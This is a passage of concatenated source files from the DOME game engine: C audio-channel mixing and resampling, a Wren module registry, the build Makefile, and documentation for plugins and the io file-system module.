channel->userdata; } internal inline void CHANNEL_setState(CHANNEL* channel, CHANNEL_STATE state) { assert(channel != NULL); channel->state = state; } internal inline CHANNEL_STATE CHANNEL_getState(CHANNEL* channel) { assert(channel != NULL); return channel->state; } internal inline void CHANNEL_requestStop(CHANNEL* channel) { assert(channel != NULL); channel->stopRequested = true; } internal inline bool CHANNEL_isPlaying(CHANNEL* channel) { assert(channel != NULL); return channel->state == CHANNEL_PLAYING || channel->state == CHANNEL_STOPPING || channel->state == CHANNEL_VIRTUALIZING; } internal inline bool CHANNEL_hasStopRequested(CHANNEL* channel) { assert(channel != NULL); return channel->stopRequested; } internal void AUDIO_ENGINE_setPosition(AUDIO_ENGINE* engine, CHANNEL_REF* ref, size_t position) { CHANNEL* base; if (!AUDIO_ENGINE_get(engine, ref, &base)) { return; } AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); channel->new.position = mid(0, position, channel->audio->length); channel->new.resetPosition = true; } internal void AUDIO_ENGINE_setState(AUDIO_ENGINE* engine, CHANNEL_REF* ref, CHANNEL_STATE state) { CHANNEL* base; if (!AUDIO_ENGINE_get(engine, ref, &base)) { return; } CHANNEL_setState(base, state); } internal CHANNEL_STATE AUDIO_ENGINE_getState(AUDIO_ENGINE* engine, CHANNEL_REF* ref) { CHANNEL* base; if (!AUDIO_ENGINE_get(engine, ref, &base)) { return CHANNEL_STOPPED; } return CHANNEL_getState(base); } #define AUDIO_CHANNEL_GETTER(fieldName, method, fieldType, defaultValue) \ internal fieldType \ AUDIO_ENGINE_get##method(AUDIO_ENGINE* engine, CHANNEL_REF* ref) { \ CHANNEL* base; \ if (!AUDIO_ENGINE_get(engine, ref, &base)) { \ return defaultValue; \ } \ AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); \ return channel->fieldName; \ } #define AUDIO_CHANNEL_SETTER(fieldName, method, fieldType) \ internal void \ AUDIO_ENGINE_set##method(AUDIO_ENGINE* engine, CHANNEL_REF* ref, fieldType value) { \ CHANNEL* base; \ if (!AUDIO_ENGINE_get(engine, ref, &base)) { \ return; \ } \ AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); \ channel->fieldName = value; \ } #define AUDIO_CHANNEL_SETTER_WITH_RANGE(fieldName, method, fieldType, min, max) \ internal void \ AUDIO_ENGINE_set##method(AUDIO_ENGINE* engine, CHANNEL_REF* ref, fieldType value) { \ CHANNEL* base; \ if (!AUDIO_ENGINE_get(engine, ref, &base)) { \ return; \ } \ AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); \ channel->fieldName = fmid(min, value, max); \ } // volume AUDIO_CHANNEL_SETTER_WITH_RANGE(new.volume, Volume, float, 0.0f, 1.0f) AUDIO_CHANNEL_GETTER(new.volume, Volume, float, 0.0f) // pan AUDIO_CHANNEL_SETTER_WITH_RANGE(new.pan, Pan, float, -1.0f, 1.0f) AUDIO_CHANNEL_GETTER(new.pan, Pan, float, 0.0f) // loop AUDIO_CHANNEL_SETTER(new.loop, Loop, bool) AUDIO_CHANNEL_GETTER(new.loop, Loop, bool, false) // position AUDIO_CHANNEL_GETTER(new.position, Position, size_t, 0) internal void AUDIO_CHANNEL_finish(CHANNEL_REF ref, WrenVM* vm) { CHANNEL* base; if (!AUDIO_ENGINE_get(ref.engine, &ref, &base)) { return; } AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); assert(channel != NULL); if (channel->audioHandle != NULL) { wrenReleaseHandle(vm, channel->audioHandle); channel->audioHandle = NULL; } free(channel->soundId); free(channel); } internal void AUDIO_CHANNEL_commit(AUDIO_CHANNEL* channel) { size_t position = channel->current.position; if (channel->new.resetPosition) { position = channel->new.position; channel->new.resetPosition = false; } channel->current = channel->new; channel->current.position = position; channel->new = channel->current; } internal void AUDIO_CHANNEL_update(CHANNEL_REF ref, WrenVM* vm) { CHANNEL* base; if (!AUDIO_ENGINE_get(ref.engine, &ref, &base)) { return; } AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); switch (CHANNEL_getState(base)) { case CHANNEL_INITIALIZE: CHANNEL_setState(base, CHANNEL_TO_PLAY); // Fallthrough case CHANNEL_DEVIRTUALIZE: case CHANNEL_TO_PLAY: if (CHANNEL_getState(base) == CHANNEL_DEVIRTUALIZE) { // We might do special things to de-virtualize a channel } if (channel->audio == NULL) { CHANNEL_setState(base, CHANNEL_LOADING); break; } // We assume data is loaded by now. CHANNEL_setState(base, CHANNEL_PLAYING); AUDIO_CHANNEL_commit(channel); break; case CHANNEL_LOADING: if (channel->audio != NULL) { CHANNEL_setState(base, CHANNEL_TO_PLAY); } break; case CHANNEL_PLAYING: AUDIO_CHANNEL_commit(channel); if (CHANNEL_isPlaying(base) == false || CHANNEL_hasStopRequested(base)) { CHANNEL_setState(base, CHANNEL_STOPPING); } break; case CHANNEL_STOPPING: if (channel->fade) { channel->new.volume -= 0.1; } else { channel->new.volume = 0; } if (channel->new.volume <= 0) { channel->new.volume = 0; CHANNEL_setState(base, CHANNEL_STOPPED); } AUDIO_CHANNEL_commit(channel); break; case CHANNEL_STOPPED: AUDIO_CHANNEL_commit(channel); break; default: break; } } internal void AUDIO_CHANNEL_mix(CHANNEL_REF ref, float* stream, size_t totalSamples) { CHANNEL* base; if (!AUDIO_ENGINE_get(ref.engine, &ref, &base)) { return; } AUDIO_CHANNEL* channel = (AUDIO_CHANNEL*)CHANNEL_getData(base); if (channel->audio == NULL) { return; } AUDIO_DATA* audio = channel->audio; float* startReadCursor = (float*)(audio->buffer); float* readCursor = startReadCursor + channel->current.position * channels; float* writeCursor = stream; size_t length = audio->length; size_t samplesToWrite = channel->current.loop ? totalSamples : min(totalSamples, length - channel->current.position); float volume = channel->current.volume; float targetPan = channel->current.pan; float actualVolume = channel->actualVolume; float actualPan = channel->actualPan; bool blendVolume = actualVolume != volume; bool blendPan = actualPan != targetPan; for (size_t i = 0; i < samplesToWrite; i++) { // We have to lerp the volume and pan change across the whole sample buffer // or we get a clicking sound. float f = i / (float)samplesToWrite; float currentVolume = actualVolume; if (blendVolume) { currentVolume = lerp(actualVolume, volume, f); } float currentPan = actualPan; if (blendPan) { currentPan = lerp(actualPan, targetPan, f); } float pan = (currentPan + 1.0f) * M_PI / 4.0f; // Channel pan is [-1,1] real pan needs to be [0,1] // We have to advance the cursor after each read and write // Read/Write left *(writeCursor++) = *(readCursor++) * cos(pan) * currentVolume; // Read/Write right *(writeCursor++) = *(readCursor++) * sin(pan) * currentVolume; channel->current.position++; if (channel->current.position >= length) { if (channel->current.loop) { channel->current.position = 0; readCursor = startReadCursor; } else { break; } } } channel->actualVolume = channel->current.volume; channel->actualPan = channel->current.pan; if (!channel->current.loop && channel->current.position >= length) { CHANNEL_setState(base, CHANNEL_STOPPED); } } internal float* resample(float* data, size_t srcLength, uint64_t srcFrequency, uint64_t targetFrequency, size_t* destLength) { // Compute GCD of both frequencies uint64_t divisor = gcd(srcFrequency, targetFrequency); uint64_t L = targetFrequency / divisor; uint64_t M = srcFrequency / divisor; size_t sampleCount = srcLength; size_t tempSampleCount = sampleCount * L; float* tempData = calloc(tempSampleCount, bytesPerSample); if (tempData == NULL) { return NULL; } size_t destSampleCount = ceil(tempSampleCount / M) + 1; *destLength = destSampleCount; float* destData = malloc(destSampleCount * bytesPerSample); if (destData == NULL) { return NULL; } // Space out samples in temp data float* sampleCursor = data; float* writeCursor = tempData; for (size_t i = 0; i < sampleCount * L; i++) { size_t index = channels * (i / L); *(writeCursor++) = sampleCursor[index]; *(writeCursor++) = sampleCursor[index + 1]; } // TODO: Low-pass filter over the data (optional - but recommended) // decimate by M sampleCursor = tempData; writeCursor = destData; for(size_t i = 0; i < tempSampleCount; i += M) { *(writeCursor++) = sampleCursor[i*2]; *(writeCursor++) = sampleCursor[i*2+1]; } free(tempData); return destData; } internal CHANNEL_REF AUDIO_CHANNEL_new(AUDIO_ENGINE* engine, const char* soundId) { AUDIO_CHANNEL* data = malloc(sizeof(AUDIO_CHANNEL)); data->soundId = strdup(soundId); struct AUDIO_CHANNEL_PROPS props = {0, 0, 0, 0, 0}; data->current = data->new = props; data->actualVolume = 0.0f; data->actualPan = 0.0f; data->audio = NULL; CHANNEL_REF ref = AUDIO_ENGINE_channelInit( engine, AUDIO_CHANNEL_mix, AUDIO_CHANNEL_update, AUDIO_CHANNEL_finish, data ); return ref; } <file_sep>/src/modules/map.c #include "modules.inc" typedef struct CLASS_NODE { const char* name; WrenForeignClassMethods methods; struct CLASS_NODE* next; } CLASS_NODE; typedef struct FUNCTION_NODE { const char* signature; WrenForeignMethodFn fn; struct FUNCTION_NODE* next; } FUNCTION_NODE; typedef struct MODULE_NODE { const char* name; const char* source; bool locked; struct CLASS_NODE* classes; struct FUNCTION_NODE* functions; struct MODULE_NODE* next; } MODULE_NODE; typedef struct { MODULE_NODE* head; } MAP; internal MODULE_NODE* MAP_getModule(MAP* map, const char* name); internal bool MAP_addModule(MAP* map, const char* name, const char* source) { if (MAP_getModule(map, name) != NULL) { return false; } MODULE_NODE* newNode = malloc(sizeof(MODULE_NODE)); newNode->source = strdup(source); newNode->name = strdup(name); newNode->functions = NULL; newNode->classes = NULL; newNode->locked = false; newNode->next = map->head; map->head = newNode; return true; } internal MODULE_NODE* MAP_getModule(MAP* map, const char* name) { MODULE_NODE* node = map->head; while (node != NULL) { if (STRINGS_EQUAL(node->name, name)) { return node; } else { node = node->next; } } return NULL; } internal const char* MAP_getSource(MAP* map, const char* moduleName) { MODULE_NODE* module = MAP_getModule(map, moduleName); if (module == NULL) { // We don't have the module, but it might be built into Wren (aka Random,Meta) return NULL; } const char* file = strdup(module->source); return file; } internal bool MAP_addFunction(MAP* map, const char* moduleName, const char* signature, WrenForeignMethodFn fn) { MODULE_NODE* module = MAP_getModule(map, moduleName); // TODO: Check for duplicate? if (module != NULL && !module->locked) { FUNCTION_NODE* node = (FUNCTION_NODE*) malloc(sizeof(FUNCTION_NODE)); node->signature = strdup(signature); node->fn = fn; node->next = module->functions; module->functions = node; return true; } return false; } internal bool MAP_addClass(MAP* map, const char* moduleName, const char* className, WrenForeignMethodFn allocate, WrenFinalizerFn finalize) { MODULE_NODE* module = MAP_getModule(map, moduleName); // TODO: Check for duplicate? if (module != NULL && !module->locked) { CLASS_NODE* node = (CLASS_NODE*) malloc(sizeof(CLASS_NODE)); node->name = strdup(className); node->methods.allocate = allocate; node->methods.finalize = finalize; node->next = module->classes; module->classes = node; return true; } return false; } internal void MAP_lockModule(MAP* map, const char* name) { MODULE_NODE* module = MAP_getModule(map, name); if (module != NULL) { module->locked = true; } } internal WrenForeignMethodFn MAP_getFunction(MAP* map, const char* moduleName, const char* signature) { MODULE_NODE* module = MAP_getModule(map, moduleName); if (module == NULL) { // We don't have the module, but it might be built into Wren (aka Random,Meta) return NULL; } assert(module != NULL); FUNCTION_NODE* node = module->functions; while (node != NULL) { if (STRINGS_EQUAL(signature, node->signature)) { return node->fn; } else { node = node->next; } } return NULL; } internal bool MAP_getClassMethods(MAP* map, const char* moduleName, const char* className, WrenForeignClassMethods* methods) { MODULE_NODE* module = MAP_getModule(map, moduleName); if (module == NULL) { // We don't have the module, but it might be built into Wren (aka Random,Meta) return false; } assert(module != NULL); CLASS_NODE* node = module->classes; while (node != NULL) { if (STRINGS_EQUAL(className, node->name)) { *methods = node->methods; return true; } else { node = node->next; } } return false; } internal void MAP_freeFunctions(FUNCTION_NODE* node) { FUNCTION_NODE* nextNode; while (node != NULL) { nextNode = node->next; free(node->signature); free(node); node = nextNode; } } internal void MAP_freeClasses(CLASS_NODE* node) { CLASS_NODE* nextNode; while (node != NULL) { nextNode = node->next; free(node->name); free(node); node = nextNode; } } internal void MAP_free(MAP* map) { MODULE_NODE* module = map->head; MODULE_NODE* nextModule; while (module != NULL) { MAP_freeFunctions(module->functions); MAP_freeClasses(module->classes); nextModule = module->next; free(module->name); free(module->source); free(module); module = nextModule; } } internal void MAP_init(MAP* map) { map->head = NULL; #include "modulemap.c.inc" } <file_sep>/Makefile # Paths SOURCE=src LIBS=lib OBJS=obj INCLUDES=include SOURCE_FILES = $(shell find src -type f) UTILS = $(SOURCE)/util MODULES=$(SOURCE)/modules SCRIPTS=scripts # Build flags # Each must have distinct values for dimension # MODE: release or debug MODE ?= release # Determine the system # ARCH = 64bit or 32bit UNAME_S = $(shell uname -s) UNAME_P = $(shell uname -p) ifeq ($(UNAME_S), Darwin) SYSTEM ?= macosx ARCH ?= 64bit FRAMEWORK ?= $(shell which sdl2-config 1>/dev/null && echo "" || echo "framework") else ifeq ($(UNAME_S), Linux) SYSTEM ?= linux ARCH ?= 64bit else SYSTEM ?= windows ifneq (,$(findstring 32,$(UNAME_S))) ARCH ?= 32bit else ARCH ?= 64bit endif endif # 0 or 1 STATIC ?= 0 TAGS = $(ARCH) $(SYSTEM) $(MODE) $(FRAMEWORK) OBJS := $(OBJS)/$(ARCH) ifeq ($(STATIC), 1) TAGS += static else TAGS += shared endif ifndef verbose SILENT = @ endif # Compute Variables based on build flags ifneq ($(and $(filter windows,$(TAGS)),$(filter 64bit,$(TAGS))),) TARGET_NAME ?= dome-x64 ICON_OBJECT_FILE ?= assets/icon64.res else ifneq ($(and $(filter windows,$(TAGS)),$(filter 32bit,$(TAGS))),) TARGET_NAME ?= dome-x32 ICON_OBJECT_FILE ?= assets/icon32.res else TARGET_NAME ?= dome endif BUILD_VALUE=$(shell git rev-parse --short HEAD) DOME_OPTS = -DDOME_HASH=\"$(BUILD_VALUE)\" ifdef DOME_OPT_VERSION DOME_OPTS += -DDOME_VERSION=\"$(DOME_OPT_VERSION)\" else DOME_OPTS += -DDOME_VERSION=\"$(shell git describe --tags)\" endif SDL_CONFIG ?= $(shell which sdl2-config 1>/dev/null && echo "sdl2-config" || (which "$(LIBS)/sdl2-config" 1>/dev/null && echo "$(LIBS)/sdl2-config" || echo "")) # Compiler configurations WARNING_FLAGS = -Wall -Wno-unused-parameter -Wno-unused-function -Wno-unused-value ifneq ($(filter macosx,$(TAGS)),) WARNING_FLAGS += -Wno-incompatible-pointer-types-discards-qualifiers else ifneq ($(filter windows,$(TAGS)),) WARNING_FLAGS += -Wno-discarded-qualifiers -Wno-clobbered else ifneq ($(filter linux,$(TAGS)),) WARNING_FLAGS += -Wno-clobbered -Wno-maybe-uninitialized -Wno-attributes endif CFLAGS = $(DOME_OPTS) -std=c99 -pedantic $(WARNING_FLAGS) -fvisibility=hidden ifneq ($(filter macosx,$(TAGS)),) CFLAGS += -mmacosx-version-min=10.12 endif ifneq ($(filter release,$(TAGS)),) CFLAGS += -O3 else ifneq ($(filter debug,$(TAGS)),) CFLAGS += -g -O0 ifneq ($(filter macosx,$(TAGS)),) CFLAGS += -fsanitize=address FFLAGS += -fsanitize=address endif endif # Include Configuration IFLAGS = -isystem $(INCLUDES) ifneq (,$(findstring sdl2-config, $(SDL_CONFIG))) IFLAGS += $(shell $(SDL_CONFIG) --cflags) endif ifneq ($(filter static,$(TAGS)),) IFLAGS := -I$(INCLUDES)/SDL2 $(IFLAGS) else ifneq ($(filter framework,$(TAGS)),) IFLAGS += -I/Library/Frameworks/SDL2.framework/Headers endif # Compute Link Settings DEPS = -lm ifneq (,$(findstring sdl2-config, $(SDL_CONFIG))) ifneq ($(filter static,$(TAGS)),) SDLFLAGS=$(shell $(SDL_CONFIG) --static-libs) else SDLFLAGS=$(shell $(SDL_CONFIG) --libs) endif endif ifneq ($(filter release,$(TAGS)),) DEPS += -lwren else ifneq ($(filter debug,$(TAGS)),) DEPS += -lwrend endif ifneq ($(and $(filter windows,$(TAGS)),$(filter static,$(TAGS))),) WINDOW_MODE ?= windows WINDOW_MODE_FLAG = -m$(WINDOW_MODE) STATIC_FLAG += -static else ifneq ($(and $(filter macosx,$(TAGS)), $(filter framework,$(TAGS)), $(filter shared,$(TAGS))),) FFLAGS += -F/Library/Frameworks -framework SDL2 endif LDFLAGS = -L$(LIBS) $(WINDOW_MODE_FLAG) $(SDLFLAGS) $(STATIC_FLAG) $(DEPS) # Build Rules PROJECTS := dome.bin .PHONY: all clean reset cloc $(PROJECTS) all: $(PROJECTS) WREN_LIB ?= $(LIBS)/libwren.a WREN_PARAMS ?= $(ARCH) WREN_OPT_RANDOM=0 WREN_OPT_META=1 $(LIBS)/wren/lib/libwren.a: @echo "==== Cloning Wren ====" git submodule update --init -- $(LIBS)/wren $(LIBS)/wren: $(LIBS)/wren/lib/libwren.a $(WREN_LIB): $(LIBS)/wren @echo "==== Building Wren ====" ./scripts/setup_wren.sh $(WREN_PARAMS) $(MODULES)/*.inc: $(UTILS)/embed.c $(MODULES)/*.wren @echo "==== Building DOME modules ====" ./scripts/generateEmbedModules.sh $(OBJS)/vendor.o: $(INCLUDES)/vendor.c @mkdir -p $(OBJS) @echo "==== Building vendor module ====" $(CC) $(CFLAGS) -c $(INCLUDES)/vendor.c -o $(OBJS)/vendor.o $(IFLAGS) $(OBJS)/main.o: $(SOURCE_FILES) $(INCLUDES) $(WREN_LIB) $(MODULES)/*.inc @mkdir -p $(OBJS) @echo "==== Building core ($(TAGS)) module ====" $(CC) $(CFLAGS) -c $(SOURCE)/main.c -o $(OBJS)/main.o $(IFLAGS) $(TARGET_NAME): $(OBJS)/main.o $(OBJS)/vendor.o $(WREN_LIB) @echo "==== Linking DOME ($(TAGS)) ====" $(CC) $(CFLAGS) $(FFLAGS) -o $(TARGET_NAME) $(OBJS)/*.o $(ICON_OBJECT_FILE) $(LDFLAGS) ./scripts/set-executable-path.sh $(TARGET_NAME) @echo "DOME built as $(TARGET_NAME)" dome.bin: $(TARGET_NAME) clean: rm -rf $(TARGET_NAME) $(MODULES)/*.inc rm -rf $(OBJS)/*.o reset: git submodule foreach --recursive git clean -xfd rm -rf $(LIBS)/libwren.a rm -rf $(LIBS)/libwrend.a rm -rf $(INCLUDES)/wren.h cloc: cloc --by-file --force-lang="java",wren --fullpath --not-match-d "util" -not-match-f ".inc" src <file_sep>/docs/plugins/example.md [< Back](.) Plugin Example ============ This example has two parts: A plugin file and a DOME application which loads it: ## DOME application This is a basic example of loading a plugin, and making use of an external module to access native methods. ```c++ import "plugin" for Plugin Plugin.load("test") // The plugin will be initialised now // Plugins can register their own modules import "external" for ExternalClass class Main { construct new() {} init() { // and allocators for foreign classes var obj = ExternalClass.init() // and finally, they can register foreign methods implemented // in the plugin native language. obj.alert("Some words") } update() {} draw(dt) {} } var Game = Main.new() ``` ## Plugin library A plugin can be written in any language that can compile down to a DLL, .so or .dylib file. This example will use C. ```c // Include some basic C definitions #include <stddef.h> // You'll need to include the DOME header #include "dome.h" static DOME_API_v0* core; static WREN_API_v0* wren; static const char* source = "" "foreign class ExternalClass {\n" // Source file for an external module "construct init() {} \n" "foreign alert(text) \n" "} \n"; void allocate(WrenVM* vm) { size_t CLASS_SIZE = 0; // This should be the size of your object's data void* obj = wren->setSlotNewForeign(vm, 0, 0, CLASS_SIZE); } void alertMethod(WrenVM* vm) { // Fetch the method argument const char* text = wren->getSlotString(vm, 1); // Retrieve the DOME Context from the VM. This is needed for many things. DOME_Context ctx = core->getContext(vm); core->log(ctx, "%s\n", text); } DOME_EXPORT DOME_Result PLUGIN_onInit(DOME_getAPIFunction DOME_getAPI, DOME_Context ctx) { // Fetch the latest Core API and save it for later use. core = DOME_getAPI(API_DOME, DOME_API_VERSION); // DOME also provides a subset of the Wren API for accessing slots // in foreign methods. wren = DOME_getAPI(API_WREN, WREN_API_VERSION); core->log(ctx, "Initialising external module\n"); // Register a module with it's associated source. // Avoid giving the module a common name. core->registerModule(ctx, "external", source); core->registerClass(ctx, "external", "ExternalClass", allocate, NULL); core->registerFn(ctx, "external", "ExternalClass.alert(_)", alertMethod); // Returning anything other than SUCCESS here will result in the current fiber // aborting. Use this to indicate if your plugin initialised successfully. return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_preUpdate(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_postUpdate(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_preDraw(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_postDraw(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } DOME_EXPORT DOME_Result PLUGIN_onShutdown(DOME_Context ctx) { return DOME_RESULT_SUCCESS; } ``` ## Compiling your plugin Compiling plugins is a little tricky, as each platform has slightly different requirements. This section attempts to demonstrate ways of doing this on the common platforms. Place the resulting compiled library file in the directory with your `main.wren` or `game.egg` and it should be detected by DOME. The `dome.h` file which provides the developer API is located in `../../include`, so we make sure this is added to the include folder list. You can adjust this to suit your development environment as necessary. ### Mac OS X ``` > gcc -dynamiclib -o pluginName.dylib -I../../include plugin.c -undefined dynamic_lookup ``` We tell it we are building a `dynamiclib`, and that we want to treat `undefined` functions as fine using `dynamic_lookup`, so that methods can be acquired and linked at runtime. ### Windows ``` > gcc -O3 -std=gnu11 -shared -fPIC -I../../include pluginName.c -Wl,--unresolved-symbols=ignore-in-object-files -o pluginName.dll ``` This example uses MSYS/MinGW for compiling the library on Windows, but there's no reason you couldn't use Visual Studio to compile a plugin instead. ### Linux: ``` > gcc -O3 -std=c11 -shared -o pluginName.so -fPIC -I../../include pluginName.c ``` <file_sep>/examples/plugin/Makefile .PHONY: test.dylib test.dylib: test.c gcc -dynamiclib -o test.dylib -I../../include test.c -undefined dynamic_lookup test.so: test.c gcc -O3 -std=c11 -shared -o test.so -fPIC -I../../include test.c test.dll: test.c gcc -O3 -std=gnu11 -shared -fPIC -I../../include test.c -Wl,--unresolved-symbols=ignore-in-object-files -o test.dll <file_sep>/docs/modules/io.md [< Back](.) io ================ The `io` module provides an interface to the host machine's file system, in order to read and write data files. It contains the following classes: * [FileSystem](#filesystem) ## FileSystem ### Static Methods #### `static basePath(): String` This returns the path to the directory where your application's entry point is. #### `static listDirectories(path: String): List<String>` Returns a list of all directories contained in the directory #### `static listFiles(path: String): List<String>` Returns a list of all files in the directory. #### `static load(path: String): String` Given a valid file `path`, this loads the file data into a String object. This is a blocking operation, and so execution will stop while the file is loaded. #### `static prefPath(org: String, appName: String): String` This gives you a safe path where you can write personal game files (saves and settings), which are specific to this application. The given `org` and `appName` should be unique to this application. Either or both values may end up in the given file path, so they must adhere to some specific rules. Use letters, numbers, spaces, underscores. Avoid other punctuation. #### `static save(path: String, buffer: String): Void` Given a valid file `path`, this will create or overwrite the file the data in the `buffer` String object. This is a blocking operation, and so execution will stop while the file is saved. #### `static createDirectory(path: String): Void` Given a valid `path`, creates the directory, if it doesn't already exist and makes parent directories as needed. <file_sep>/src/modules/audio.c internal float* resample(float* data, size_t srcLength, uint64_t srcFrequency, uint64_t targetFrequency, size_t* destLength); internal void AUDIO_allocate(WrenVM* vm) { wrenEnsureSlots(vm, 1); AUDIO_DATA* data = (AUDIO_DATA*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(AUDIO_DATA)); int length; ASSERT_SLOT_TYPE(vm, 1, STRING, "buffer"); const char* fileBuffer = wrenGetSlotBytes(vm, 1, &length); int16_t* tempBuffer; if (strncmp(fileBuffer, "RIFF", 4) == 0 && strncmp(&fileBuffer[8], "WAVE", 4) == 0) { data->audioType = AUDIO_TYPE_WAV; // Loading the WAV file SDL_RWops* src = SDL_RWFromConstMem(fileBuffer, length); void* result = SDL_LoadWAV_RW(src, 1, &data->spec, ((uint8_t**)&tempBuffer), &data->length); if (result == NULL) { VM_ABORT(vm, "Invalid WAVE file"); return; } data->length /= sizeof(int16_t) * data->spec.channels; } else if (strncmp(fileBuffer, "OggS", 4) == 0) { data->audioType = AUDIO_TYPE_OGG; int channelsInFile = 0; int freq = 0; memset(&data->spec, 0, sizeof(SDL_AudioSpec)); // Loading the OGG file int32_t result = stb_vorbis_decode_memory((const unsigned char*)fileBuffer, length, &channelsInFile, &freq, &tempBuffer); if (result == -1) { VM_ABORT(vm, "Invalid OGG file"); return; } data->length = result; data->spec.channels = channelsInFile; data->spec.freq = freq; data->spec.format = AUDIO_F32LSB; } else { VM_ABORT(vm, "Audio file was of an incompatible format"); return; } data->buffer = calloc(data->length, bytesPerSample); assert(data->buffer != NULL); assert(data->length != UINT32_MAX); // Process incoming values into a mixable format for (uint32_t i = 0; i < data->length; i++) { data->buffer[i * channels] = (float)(tempBuffer[i * data->spec.channels]) / INT16_MAX; if (data->spec.channels == 1) { data->buffer[i * channels + 1] = (float)(tempBuffer[i * data->spec.channels]) / INT16_MAX; } else { data->buffer[i * channels + 1] = (float)(tempBuffer[i * data->spec.channels + 1]) / INT16_MAX; } } ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* audioEngine = engine->audioEngine; if (data->spec.freq != audioEngine->spec.freq) { size_t newLength = 0; void* oldPtr = data->buffer; data->buffer = resample(data->buffer, data->length, data->spec.freq, audioEngine->spec.freq, &newLength); data->length = newLength; free(oldPtr); } // free the intermediate buffers if (data->audioType == AUDIO_TYPE_WAV) { SDL_FreeWAV((uint8_t*)tempBuffer); } else if (data->audioType == AUDIO_TYPE_OGG) { free(tempBuffer); } if (DEBUG_MODE) { DEBUG_printAudioSpec(engine, data->spec, data->audioType); } } internal void AUDIO_finalize(void* data) { AUDIO_DATA* audioData = (AUDIO_DATA*)data; if (audioData->buffer != NULL) { if (audioData->audioType == AUDIO_TYPE_WAV || audioData->audioType == AUDIO_TYPE_OGG) { free(audioData->buffer); } audioData->buffer = NULL; } } internal void AUDIO_unload(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, FOREIGN, "audio data"); AUDIO_DATA* data = (AUDIO_DATA*)wrenGetSlotForeign(vm, 0); AUDIO_finalize(data); } internal void AUDIO_getLength(WrenVM* vm) { AUDIO_DATA* data = (AUDIO_DATA*)wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, data->length); } internal void AUDIO_CHANNEL_stop(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } CHANNEL_requestStop(base); } internal void AUDIO_ENGINE_wrenStopAll(WrenVM* vm) { ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* audioEngine = engine->audioEngine; AUDIO_ENGINE_stopAll(audioEngine); } internal void AUDIO_ENGINE_releaseHandles(AUDIO_ENGINE* audioEngine, WrenVM* vm) { TABLE_ITERATOR iter; TABLE_iterInit(&iter); CHANNEL* channel; while (TABLE_iterate(&(audioEngine->playing), &iter)) { channel = iter.value; channel->state = CHANNEL_STOPPED; if (channel->finish != NULL) { channel->finish(channel->ref, vm); } } TABLE_iterInit(&iter); while (TABLE_iterate(&(audioEngine->pending), &iter)) { channel = iter.value; channel->state = CHANNEL_STOPPED; if (channel->finish != NULL) { channel->finish(channel->ref, vm); } } } internal void AUDIO_CHANNEL_allocate(WrenVM* vm) { wrenEnsureSlots(vm, 2); CHANNEL_REF* ref = (CHANNEL_REF*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(CHANNEL_REF)); ASSERT_SLOT_TYPE(vm, 1, STRING, "sound id"); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; const char* soundId = wrenGetSlotString(vm, 1); *ref = AUDIO_CHANNEL_new(data, soundId); } internal void AUDIO_CHANNEL_setAudio(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } AUDIO_CHANNEL* channel = CHANNEL_getData(base); if (CHANNEL_getState(base) < CHANNEL_PLAYING) { ASSERT_SLOT_TYPE(vm, 1, FOREIGN, "audio"); channel->audio = (AUDIO_DATA*)wrenGetSlotForeign(vm, 1); channel->audioHandle = wrenGetSlotHandle(vm, 1); } else { VM_ABORT(vm, "Cannot change audio in channel once initialized"); } } internal void AUDIO_CHANNEL_setState(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ASSERT_SLOT_TYPE(vm, 1, NUM, "state"); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } int state = wrenGetSlotDouble(vm, 1); if (state <= CHANNEL_INVALID || state >= CHANNEL_LAST) { VM_ABORT(vm, "Setting invalid channel state"); } CHANNEL_setState(base, state); } internal void AUDIO_CHANNEL_getState(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, CHANNEL_getState(base)); } internal void AUDIO_CHANNEL_getId(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); wrenEnsureSlots(vm, 1); wrenSetSlotDouble(vm, 0, ref->id); } internal void AUDIO_CHANNEL_getSoundId(WrenVM* vm) { CHANNEL_REF* ref = (CHANNEL_REF*)wrenGetSlotForeign(vm, 0); ENGINE* engine = wrenGetUserData(vm); AUDIO_ENGINE* data = engine->audioEngine; CHANNEL* base; if (!AUDIO_ENGINE_get(data, ref, &base)) { return; } 